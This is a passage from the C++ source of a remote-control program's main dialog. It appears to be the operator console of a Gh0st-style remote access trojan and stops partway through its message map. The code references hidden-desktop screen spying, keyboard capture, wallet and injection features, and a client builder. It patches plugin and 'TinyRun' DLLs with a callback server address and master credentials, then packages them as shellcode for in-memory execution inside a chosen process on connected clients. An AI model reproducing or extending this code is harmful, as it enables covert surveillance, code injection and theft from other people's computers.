9277 lines
356 KiB
C++
9277 lines
356 KiB
C++
|
||
// 2015RemoteDlg.cpp : 实现文件
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "2015Remote.h"
|
||
#include "2015RemoteDlg.h"
|
||
#include "afxdialogex.h"
|
||
#include "SettingDlg.h"
|
||
#include "IOCPServer.h"
|
||
#include "ScreenSpyDlg.h"
|
||
#include "FileManagerDlg.h"
|
||
#include "TalkDlg.h"
|
||
#include "ShellDlg.h"
|
||
#include "TerminalDlg.h"
|
||
#include "SystemDlg.h"
|
||
#include "BuildDlg.h"
|
||
#include "AudioDlg.h"
|
||
#include "RegisterDlg.h"
|
||
#include "ServicesDlg.h"
|
||
#include "VideoDlg.h"
|
||
#include <vector>
|
||
#include <map>
|
||
#include <mutex>
|
||
#include <filesystem>
|
||
#include "KeyBoardDlg.h"
|
||
#include "InputDlg.h"
|
||
#include "CPasswordDlg.h"
|
||
#include "FeatureFlags.h"
|
||
#include "FeatureLimitsDlg.h"
|
||
#include "LicenseFile.h"
|
||
#include "pwd_gen.h"
|
||
#include "CrashReport.h"
|
||
#include "common/location.h"
|
||
#include <proxy/ProxyMapDlg.h>
|
||
#include "common/DateVerify.h"
|
||
#include "common/IPWhitelist.h"
|
||
#include "common/IPBlacklist.h"
|
||
#include <fstream>
|
||
#include <iomanip>
|
||
#include <sstream>
|
||
#include "common/skCrypter.h"
|
||
#include "common/commands.h"
|
||
#include "common/md5.h"
|
||
#include <algorithm>
|
||
#include <set>
|
||
#include <atomic>
|
||
#include "HideScreenSpyDlg.h"
|
||
#include <sys/MachineDlg.h>
|
||
#include "Chat.h"
|
||
#include "DecryptDlg.h"
|
||
#include "adapter.h"
|
||
#include "client/MemoryModule.h"
|
||
#include <file/CFileManagerDlg.h>
|
||
#include "CDrawingBoard.h"
|
||
#include "CWalletDlg.h"
|
||
#include "NetworkDlg.h"
|
||
#include <wallet.h>
|
||
#include "CRcEditDlg.h"
|
||
#include <thread>
|
||
#include "common/file_upload.h"
|
||
#include "SplashDlg.h"
|
||
#include "SearchBarDlg.h"
|
||
#include <ServerServiceWrapper.h>
|
||
#include "CDlgFileSend.h"
|
||
#include "CClientListDlg.h"
|
||
#include "CUpdateDlg.h"
|
||
#include "CLicenseDlg.h"
|
||
#include "NotifyManager.h"
|
||
#include "NotifySettingsDlg.h"
|
||
#include "FrpsForSubDlg.h"
|
||
#include "common/key.h"
|
||
#include "UIBranding.h"
|
||
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#endif
|
||
|
||
#define UM_ICONNOTIFY WM_USER+100
|
||
#define TIMER_CHECK 1
|
||
#define TIMER_CLOSEWND 2
|
||
#define TIMER_CLEAR_BALLOON 3
|
||
#define TIMER_HEARTBEAT_CHECK 4
|
||
#define TIMER_REFRESH_LIST 5
|
||
#define TIMER_STATUSBAR_UPDATE 6
|
||
#define TIMER_STATUSBAR_INIT 7
|
||
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
|
||
#define TINY_DLL_NAME "TinyRun.dll"
|
||
#define FRPC_DLL_NAME "Frpc.dll"
|
||
|
||
// 离线通知信息结构体 (用于 OfflineProc -> OnUserOfflineMsg 通信)
|
||
struct OfflineInfo {
|
||
HWND hWnd;
|
||
CString ip;
|
||
std::string aliveInfo;
|
||
bool hasLogin;
|
||
};
|
||
|
||
// DLL 请求限流配置 (缓存,避免频繁读取注册表)
|
||
static struct {
|
||
int limitSeconds = 3600;
|
||
int limitCount = 4;
|
||
bool loaded = false;
|
||
} g_DllRateLimitConfig;
|
||
|
||
void ReloadDllRateLimitConfig() {
|
||
g_DllRateLimitConfig.limitSeconds = THIS_CFG.GetInt("settings", "DllLimitSeconds", 3600);
|
||
g_DllRateLimitConfig.limitCount = THIS_CFG.GetInt("settings", "DllLimitCount", 4);
|
||
g_DllRateLimitConfig.loaded = true;
|
||
}
|
||
|
||
static int GetDllRateLimitSeconds() {
|
||
if (!g_DllRateLimitConfig.loaded) ReloadDllRateLimitConfig();
|
||
return g_DllRateLimitConfig.limitSeconds;
|
||
}
|
||
static int GetDllRateLimitCount() {
|
||
if (!g_DllRateLimitConfig.loaded) ReloadDllRateLimitConfig();
|
||
return g_DllRateLimitConfig.limitCount;
|
||
}
|
||
|
||
typedef struct {
|
||
const char* szTitle; //列表的名称
|
||
int nWidth; //列表的宽度
|
||
} COLUMNSTRUCT;
|
||
|
||
const int g_Column_Count_Online = ONLINELIST_MAX; // 报表的列数
|
||
|
||
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
|
||
{"IP", 130 },
|
||
{"端口", 60 },
|
||
{"地理位置", 130 },
|
||
{"计算机名/备注", 150 },
|
||
{"操作系统", 120 },
|
||
{"CPU", 80 },
|
||
{"摄像头", 70 },
|
||
{"RTT", 70 },
|
||
{"版本", 90 },
|
||
{"安装时间", 120 },
|
||
{"活动窗口", 140 },
|
||
{"类型", 50 },
|
||
};
|
||
|
||
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
|
||
|
||
const int g_Column_Count_Message = 3; // 列表的个数
|
||
|
||
COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] = {
|
||
{"信息类型", 200 },
|
||
{"时间", 200 },
|
||
{"信息内容", 490 }
|
||
};
|
||
|
||
int g_Column_Online_Width = 0;
|
||
int g_Column_Message_Width = 0;
|
||
|
||
CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
|
||
|
||
// 全局程序退出标志 - 用于通知所有分离线程停止运行
|
||
// 这个标志必须是全局的,因为对话框销毁后,成员变量 isClosed 将不可访问
|
||
std::atomic<bool> g_bAppExiting{false};
|
||
|
||
// 服务端待续传传输状态
|
||
std::map<uint64_t, PendingTransferV2> g_pendingTransfersV2;
|
||
std::mutex g_pendingTransfersV2Mtx;
|
||
|
||
// 检查客户端是否支持 V2 文件传输协议
|
||
bool SupportsFileTransferV2(context* ctx) {
|
||
if (!g_2015RemoteDlg || !g_2015RemoteDlg->m_bEnableFileV2) return false;
|
||
if (!ctx) return false;
|
||
// 优先使用能力位检测(新客户端),回退到版本日期检测(旧客户端)
|
||
if (ctx->SupportsFileV2()) return true;
|
||
CString version = ctx->GetClientData(ONLINELIST_VERSION);
|
||
return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE);
|
||
}
|
||
|
||
// 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次
|
||
static bool ShouldLogAuth(const std::string& sn, bool success) {
|
||
struct AuthLogState {
|
||
bool lastStatus;
|
||
time_t lastLogTime;
|
||
};
|
||
static std::map<std::string, AuthLogState> s_cache;
|
||
static CRITICAL_SECTION s_lock;
|
||
static std::once_flag s_initFlag;
|
||
std::call_once(s_initFlag, []() {
|
||
InitializeCriticalSection(&s_lock);
|
||
});
|
||
|
||
EnterCriticalSection(&s_lock);
|
||
time_t now = time(nullptr);
|
||
bool shouldLog = false;
|
||
|
||
auto it = s_cache.find(sn);
|
||
if (it == s_cache.end()) {
|
||
// 首次 - 必须记录
|
||
s_cache[sn] = {success, now};
|
||
shouldLog = true;
|
||
} else {
|
||
AuthLogState& state = it->second;
|
||
if (state.lastStatus != success) {
|
||
// 状态变化 - 必须记录
|
||
state.lastStatus = success;
|
||
state.lastLogTime = now;
|
||
shouldLog = true;
|
||
} else if (now - state.lastLogTime >= 3600) {
|
||
// 相同状态,超过1小时 - 记录
|
||
state.lastLogTime = now;
|
||
shouldLog = true;
|
||
}
|
||
}
|
||
LeaveCriticalSection(&s_lock);
|
||
return shouldLog;
|
||
}
|
||
|
||
static UINT Indicators[] = {
|
||
IDR_STATUSBAR_STRING,
|
||
IDR_STATUSBAR_FRP, // FRP 地址(由上级提供)
|
||
IDR_STATUSBAR_RUNTIME,
|
||
IDR_STATUSBAR_EXPIRE
|
||
};
|
||
|
||
std::string EventName()
|
||
{
|
||
char eventName[64];
|
||
snprintf(eventName, sizeof(eventName), "EVENT_%d", GetCurrentProcessId());
|
||
return eventName;
|
||
}
|
||
std::string PluginPath()
|
||
{
|
||
char path[_MAX_PATH];
|
||
GetModuleFileNameA(NULL, path, _MAX_PATH);
|
||
GET_FILEPATH(path, "Plugins");
|
||
return path;
|
||
}
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
|
||
class CAboutDlg : public CDialogLangEx
|
||
{
|
||
public:
|
||
CAboutDlg();
|
||
|
||
// 对话框数据
|
||
enum { IDD = IDD_ABOUTBOX };
|
||
|
||
protected:
|
||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||
virtual BOOL OnInitDialog();
|
||
|
||
// 实现
|
||
protected:
|
||
DECLARE_MESSAGE_MAP()
|
||
};
|
||
|
||
CAboutDlg::CAboutDlg() : CDialogLangEx(CAboutDlg::IDD)
|
||
{
|
||
}
|
||
|
||
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
__super::DoDataExchange(pDX);
|
||
}
|
||
|
||
BOOL CAboutDlg::OnInitDialog()
|
||
{
|
||
__super::OnInitDialog();
|
||
// 多语言翻译 - Static控件
|
||
SetDlgItemText(IDC_STATIC_ABOUTBOX_YamaV12_2340, _TR(BRAND_APP_NAME ",V") + VERSION_STR);
|
||
SetDlgItemText(IDC_STATIC_ABOUTBOX_Copyleft__2341, _TR(BRAND_COPYRIGHT));
|
||
|
||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||
SetWindowText(_TR("关于") + CString(BRAND_SPLASH_NAME_W));
|
||
SetDlgItemText(IDOK, _TR("确定"));
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CMy2015RemoteDlg 对话框
|
||
|
||
std::string GetDbPath()
|
||
{
|
||
static char path[MAX_PATH], *name = BRAND_DB_NAME;
|
||
static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
|
||
+ std::string("\\" BRAND_DATA_FOLDER "\\");
|
||
static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
|
||
static std::string dbPath = ret + name;
|
||
return dbPath;
|
||
}
|
||
|
||
std::string GetFrpSettingsPath()
|
||
{
|
||
#ifdef _DEBUG
|
||
char path[MAX_PATH];
|
||
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||
GET_FILEPATH(path, "frpc.ini");
|
||
return path;
|
||
#else
|
||
static char path[MAX_PATH], * name = "frpc.ini";
|
||
static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
|
||
+ std::string("\\" BRAND_DATA_FOLDER "\\");
|
||
static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
|
||
static std::string p = ret + name;
|
||
return p;
|
||
#endif
|
||
}
|
||
|
||
// 从 master 配置中获取第一个 IP(支持分号分隔的多 IP 格式)
|
||
std::string GetFirstMasterIP(const std::string& master)
|
||
{
|
||
if (master.empty()) return "";
|
||
auto pos = master.find(';');
|
||
return pos != std::string::npos ? master.substr(0, pos) : master;
|
||
}
|
||
|
||
std::string GetFileName(const char* filepath)
|
||
{
|
||
const char* slash1 = strrchr(filepath, '/');
|
||
const char* slash2 = strrchr(filepath, '\\');
|
||
const char* slash = slash1 > slash2 ? slash1 : slash2;
|
||
return slash ? slash + 1 : filepath;
|
||
}
|
||
|
||
bool IsDll64Bit(BYTE* dllBase)
|
||
{
|
||
if (!dllBase) return false;
|
||
|
||
auto dos = (IMAGE_DOS_HEADER*)dllBase;
|
||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
|
||
Mprintf("Invalid DOS header\n");
|
||
return false;
|
||
}
|
||
|
||
auto nt = (IMAGE_NT_HEADERS*)(dllBase + dos->e_lfanew);
|
||
if (nt->Signature != IMAGE_NT_SIGNATURE) {
|
||
Mprintf("Invalid NT header\n");
|
||
return false;
|
||
}
|
||
|
||
WORD magic = nt->OptionalHeader.Magic;
|
||
return magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
|
||
}
|
||
|
||
// 返回:读取的字节数组指针(需要手动释放)
|
||
DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD })
|
||
{
|
||
// 打开文件(以二进制模式)
|
||
std::ifstream file(filename, std::ios::binary | std::ios::ate);
|
||
std::string name = GetFileName(filename.c_str());
|
||
if (!file.is_open() || name.length() >= 32) {
|
||
Mprintf("无法打开文件: %s\n", filename.c_str());
|
||
return nullptr;
|
||
}
|
||
|
||
// 获取文件大小
|
||
std::streamsize fileSize = file.tellg();
|
||
file.seekg(0, std::ios::beg);
|
||
|
||
// 分配缓冲区: CMD + DllExecuteInfo + size
|
||
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
|
||
BYTE* dllData = buffer + 1 + sizeof(DllExecuteInfo);
|
||
if (!file.read(reinterpret_cast<char*>(dllData), fileSize)) {
|
||
Mprintf("读取文件失败: %s\n", filename.c_str());
|
||
delete[] buffer;
|
||
return nullptr;
|
||
}
|
||
std::string masterHash(GetMasterHash());
|
||
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
|
||
if (offset != -1) {
|
||
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
||
|
||
memcpy((char*)dllData + offset, masterId.c_str(), masterId.length());
|
||
memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length());
|
||
}
|
||
|
||
// 设置输出参数
|
||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||
DllExecuteInfo info = execInfo;
|
||
info.Size = fileSize;
|
||
info.Is32Bit = !IsDll64Bit(dllData);
|
||
memcpy(info.Name, name.c_str(), name.length());
|
||
memcpy(info.Md5, md5.c_str(), md5.length());
|
||
buffer[0] = CMD_EXECUTE_DLL;
|
||
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
|
||
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
|
||
SAFE_DELETE_ARRAY(buffer);
|
||
return new DllInfo{ name, buf };
|
||
}
|
||
|
||
DllInfo* ReadTinyRunDll(int pid)
|
||
{
|
||
std::string name = TINY_DLL_NAME;
|
||
DWORD fileSize = 0;
|
||
BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize);
|
||
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
|
||
int offset = MemoryFind((char*)dllData, s.c_str(), fileSize, s.length());
|
||
if (offset != -1) {
|
||
std::string ip = GetFirstMasterIP(THIS_CFG.GetStr("settings", "master", ""));
|
||
int nPort = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
||
std::string master = ip.empty() ? "" : ip + ":" + std::to_string(nPort);
|
||
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(dllData + offset);
|
||
if (!master.empty()) {
|
||
splitIpPort(master, ip, port);
|
||
server->SetServer(ip.c_str(), atoi(port.c_str()));
|
||
server->SetAdminId(GetMasterHash().c_str());
|
||
server->iType = CLIENT_TYPE_MEMDLL;
|
||
server->parentHwnd = g_2015RemoteDlg ? (uint64_t)g_2015RemoteDlg->GetSafeHwnd() : 0;
|
||
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
||
}
|
||
}
|
||
// 设置输出参数
|
||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid };
|
||
memcpy(info.Name, name.c_str(), name.length());
|
||
memcpy(info.Md5, md5.c_str(), md5.length());
|
||
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
|
||
buffer[0] = CMD_EXECUTE_DLL;
|
||
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
|
||
memcpy(buffer + 1 + sizeof(DllExecuteInfo), dllData, fileSize);
|
||
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
|
||
SAFE_DELETE_ARRAY(dllData);
|
||
SAFE_DELETE_ARRAY(buffer);
|
||
return new DllInfo{ name, buf };
|
||
}
|
||
|
||
DllInfo* ReadFrpcDll(int callType)
|
||
{
|
||
std::string name = FRPC_DLL_NAME;
|
||
DWORD fileSize = 0;
|
||
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
|
||
// 设置输出参数
|
||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType };
|
||
memcpy(info.Name, name.c_str(), name.length());
|
||
memcpy(info.Md5, md5.c_str(), md5.length());
|
||
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
|
||
buffer[0] = CMD_EXECUTE_DLL_NEW;
|
||
memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew));
|
||
memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize);
|
||
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5);
|
||
SAFE_DELETE_ARRAY(dllData);
|
||
SAFE_DELETE_ARRAY(buffer);
|
||
return new DllInfo{ name, buf };
|
||
}
|
||
|
||
std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath)
|
||
{
|
||
std::vector<DllInfo*> result;
|
||
|
||
std::string searchPath = dirPath + "\\*.dll";
|
||
WIN32_FIND_DATAA findData;
|
||
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
|
||
|
||
if (hFind == INVALID_HANDLE_VALUE) {
|
||
Mprintf("无法打开目录: %s\n", dirPath.c_str());
|
||
return result;
|
||
}
|
||
|
||
do {
|
||
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
|
||
std::string fullPath = dirPath + "\\" + findData.cFileName;
|
||
DllInfo* dll = ReadPluginDll(fullPath.c_str());
|
||
if (dll) {
|
||
result.push_back(dll);
|
||
}
|
||
}
|
||
} while (FindNextFileA(hFind, &findData));
|
||
|
||
FindClose(hFind);
|
||
return result;
|
||
}
|
||
|
||
std::string GetParentDir()
|
||
{
|
||
char exePath[MAX_PATH];
|
||
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
||
|
||
std::string path(exePath);
|
||
|
||
// 找到最后一个反斜杠,得到程序目录
|
||
size_t pos = path.find_last_of("\\/");
|
||
if (pos != std::string::npos) {
|
||
path = path.substr(0, pos); // 程序目录
|
||
}
|
||
|
||
// 再往上一级
|
||
pos = path.find_last_of("\\/");
|
||
if (pos != std::string::npos) {
|
||
path = path.substr(0, pos);
|
||
}
|
||
|
||
return path;
|
||
}
|
||
|
||
std::string CMy2015RemoteDlg::GetHardwareID(int v)
|
||
{
|
||
int bindType = v == -1 ? THIS_CFG.GetInt("settings", "BindType", 0) : v;
|
||
switch (bindType) {
|
||
case 0: {
|
||
// Hardware binding: check HWIDVersion for V1/V2
|
||
int hwVersion = THIS_CFG.GetInt("settings", "HWIDVersion", 0);
|
||
if (hwVersion == 2) {
|
||
static auto hardwareID = getHardwareID_V2();
|
||
return hardwareID;
|
||
} else {
|
||
static auto hardwareID = getHardwareID();
|
||
return hardwareID;
|
||
}
|
||
}
|
||
case 1: {
|
||
std::string master = THIS_CFG.GetStr("settings", "master");
|
||
if (!master.empty()) return master;
|
||
std::string id = g_2015RemoteDlg ? g_2015RemoteDlg->m_IPConverter->getPublicIP() : "";
|
||
return id;
|
||
}
|
||
default:
|
||
return "";
|
||
}
|
||
}
|
||
|
||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDlg::IDD, pParent)
|
||
{
|
||
m_ClientMap = NewClientList();
|
||
g_StartTick = GetTickCount();
|
||
auto s = GetMasterHash();
|
||
char buf[17] = { 0 };
|
||
std::strncpy(buf, s.c_str(), 16);
|
||
m_superID = std::strtoull(buf, NULL, 16);
|
||
|
||
m_nMaxConnection = 2;
|
||
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||
m_hIcon = THIS_APP->LoadIcon(IDR_MAINFRAME);
|
||
|
||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
|
||
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
|
||
m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
|
||
m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
|
||
m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
|
||
m_bmOnline[6].LoadBitmap(IDB_BITMAP_VDESKTOP);
|
||
m_bmOnline[7].LoadBitmap(IDB_BITMAP_GDESKTOP);
|
||
m_bmOnline[8].LoadBitmap(IDB_BITMAP_DDESKTOP);
|
||
m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP);
|
||
m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE);
|
||
m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
|
||
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
|
||
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
|
||
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
|
||
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
|
||
m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
|
||
m_bmOnline[18].LoadBitmap(IDB_BITMAP_INJECT);
|
||
m_bmOnline[19].LoadBitmap(IDB_BITMAP_PORTPROXY);
|
||
m_bmOnline[20].LoadBitmap(IDB_BITMAP_LOGINNOTIFY);
|
||
// New menu icons for session management and port proxy
|
||
m_bmOnline[21].LoadBitmap(IDB_BITMAP_SHUTDOWN);
|
||
m_bmOnline[22].LoadBitmap(IDB_BITMAP_REBOOT);
|
||
m_bmOnline[23].LoadBitmap(IDB_BITMAP_LOGOUT);
|
||
m_bmOnline[24].LoadBitmap(IDB_BITMAP_PORTPROXY_STD);
|
||
// Tray menu icons
|
||
m_bmOnline[25].LoadBitmap(IDB_BITMAP_SHOW);
|
||
m_bmOnline[26].LoadBitmap(IDB_BITMAP_EXIT);
|
||
// Main menu icons
|
||
m_bmOnline[27].LoadBitmap(IDB_BITMAP_SETTINGS);
|
||
m_bmOnline[28].LoadBitmap(IDB_BITMAP_WALLET);
|
||
m_bmOnline[29].LoadBitmap(IDB_BITMAP_NETWORK);
|
||
m_bmOnline[30].LoadBitmap(IDB_BITMAP_INPUTPASSWORD);
|
||
m_bmOnline[31].LoadBitmap(IDB_BITMAP_IMPORTLICENSE);
|
||
m_bmOnline[32].LoadBitmap(IDB_BITMAP_PEEDIT);
|
||
m_bmOnline[33].LoadBitmap(IDB_BITMAP_AUTHGEN);
|
||
m_bmOnline[34].LoadBitmap(IDB_BITMAP_GENMASTER);
|
||
m_bmOnline[35].LoadBitmap(IDB_BITMAP_LICENSEMGR);
|
||
m_bmOnline[36].LoadBitmap(IDB_BITMAP_KEYBOARD);
|
||
m_bmOnline[37].LoadBitmap(IDB_BITMAP_NOTIFY_MENU);
|
||
m_bmOnline[38].LoadBitmap(IDB_BITMAP_LOG);
|
||
m_bmOnline[39].LoadBitmap(IDB_BITMAP_HISTORY);
|
||
m_bmOnline[40].LoadBitmap(IDB_BITMAP_BACKUP);
|
||
m_bmOnline[41].LoadBitmap(IDB_BITMAP_IMPORT);
|
||
m_bmOnline[42].LoadBitmap(IDB_BITMAP_LANGUAGE);
|
||
m_bmOnline[43].LoadBitmap(IDB_BITMAP_REFRESH);
|
||
m_bmOnline[44].LoadBitmap(IDB_BITMAP_PLUGIN);
|
||
m_bmOnline[45].LoadBitmap(IDB_BITMAP_FRP);
|
||
m_bmOnline[46].LoadBitmap(IDB_BITMAP_HELP);
|
||
m_bmOnline[47].LoadBitmap(IDB_BITMAP_FEEDBACK);
|
||
m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
|
||
m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
|
||
m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);
|
||
|
||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||
m_ServerDLL[i] = nullptr;
|
||
m_ServerBin[i] = nullptr;
|
||
}
|
||
|
||
InitializeCriticalSection(&m_cs);
|
||
|
||
// Init DLL list
|
||
char path[_MAX_PATH];
|
||
GetModuleFileNameA(NULL, path, _MAX_PATH);
|
||
GET_FILEPATH(path, "Plugins");
|
||
m_DllList = ReadAllDllFilesWindows(path);
|
||
m_tinyDLL = NULL;
|
||
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
|
||
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
|
||
m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
|
||
}
|
||
|
||
|
||
CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
||
{
|
||
SAFE_DELETE(m_ClientMap);
|
||
DeleteCriticalSection(&m_cs);
|
||
DeleteCriticalSection(&m_DllRateLimitLock);
|
||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||
SAFE_DELETE(m_ServerDLL[i]);
|
||
SAFE_DELETE(m_ServerBin[i]);
|
||
SAFE_DELETE(m_TinyRun[i]);
|
||
}
|
||
for (int i = 0; i < m_DllList.size(); i++) {
|
||
SAFE_DELETE(m_DllList[i]);
|
||
}
|
||
if (m_tinyDLL) {
|
||
MemoryFreeLibrary(m_tinyDLL);
|
||
m_tinyDLL = NULL;
|
||
}
|
||
if (m_pSearchBar) {
|
||
m_pSearchBar->DestroyWindow();
|
||
SAFE_DELETE(m_pSearchBar);
|
||
}
|
||
}
|
||
|
||
// DLL 请求限流成员函数实现 (根据配置限制请求频率)
|
||
bool CMy2015RemoteDlg::IsDllRequestLimited(const std::string& ip)
|
||
{
|
||
// 白名单 IP 不限流
|
||
if (IPWhitelist::getInstance().IsWhitelisted(ip)) {
|
||
return false;
|
||
}
|
||
|
||
// 黑名单 IP 直接拒绝
|
||
if (IPBlacklist::getInstance().IsBlacklisted(ip)) {
|
||
// 防刷频日志
|
||
if (IPBlacklist::getInstance().ShouldLog(ip)) {
|
||
Mprintf("'%s' DLL request rejected (blacklisted)\n", ip.c_str());
|
||
char tip[256];
|
||
sprintf_s(tip, _TRF("IP %s DLL 请求被拒绝 (黑名单)"), ip.c_str());
|
||
PostMessageA(WM_SHOWERRORMSG, (LPARAM)new CString(tip), (WPARAM)new CString(_TR("黑名单")));
|
||
}
|
||
return true;
|
||
}
|
||
|
||
CLock lock(m_DllRateLimitLock);
|
||
time_t now = time(nullptr);
|
||
time_t cutoff = now - GetDllRateLimitSeconds();
|
||
|
||
auto it = m_DllRequestTimes.find(ip);
|
||
if (it != m_DllRequestTimes.end()) {
|
||
// 清理过期记录
|
||
auto& times = it->second;
|
||
times.erase(std::remove_if(times.begin(), times.end(),
|
||
[cutoff](time_t t) { return t < cutoff; }), times.end());
|
||
|
||
// 如果全部过期,删除条目释放内存
|
||
if (times.empty()) {
|
||
m_DllRequestTimes.erase(it);
|
||
return false;
|
||
}
|
||
|
||
// 检查是否达到限制
|
||
if (times.size() >= (size_t)GetDllRateLimitCount()) {
|
||
Mprintf("'%s' DLL request rate limited (%d requests in last hour)\n",
|
||
ip.c_str(), (int)times.size());
|
||
|
||
// 发送到主窗口信息列表
|
||
char tip[256];
|
||
sprintf_s(tip, _TRF("IP %s DLL 请求被限流 (已请求 %d 次/小时)"), ip.c_str(), (int)times.size());
|
||
PostMessageA(WM_SHOWERRORMSG, (LPARAM)new CString(tip), (WPARAM)new CString(_TR("DLL 限流")));
|
||
return true;
|
||
}
|
||
}
|
||
return false;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::RecordDllRequest(const std::string& ip)
|
||
{
|
||
// 白名单 IP 不记录,避免浪费内存
|
||
if (IPWhitelist::getInstance().IsWhitelisted(ip)) {
|
||
return;
|
||
}
|
||
|
||
CLock lock(m_DllRateLimitLock);
|
||
m_DllRequestTimes[ip].push_back(time(nullptr));
|
||
}
|
||
|
||
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
__super::DoDataExchange(pDX);
|
||
m_CList_Online.SetVirtualMode(TRUE); // 必须在 DDX_Control 前设置
|
||
DDX_Control(pDX, IDC_ONLINE, m_CList_Online);
|
||
DDX_Control(pDX, IDC_MESSAGE, m_CList_Message);
|
||
DDX_Control(pDX, IDC_GROUP_TAB, m_GroupTab);
|
||
}
|
||
|
||
BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||
ON_WM_SYSCOMMAND()
|
||
ON_WM_PAINT()
|
||
ON_WM_QUERYDRAGICON()
|
||
ON_WM_SIZE()
|
||
ON_WM_EXITSIZEMOVE()
|
||
ON_WM_TIMER()
|
||
ON_WM_CLOSE()
|
||
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
||
ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo)
|
||
ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
|
||
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
||
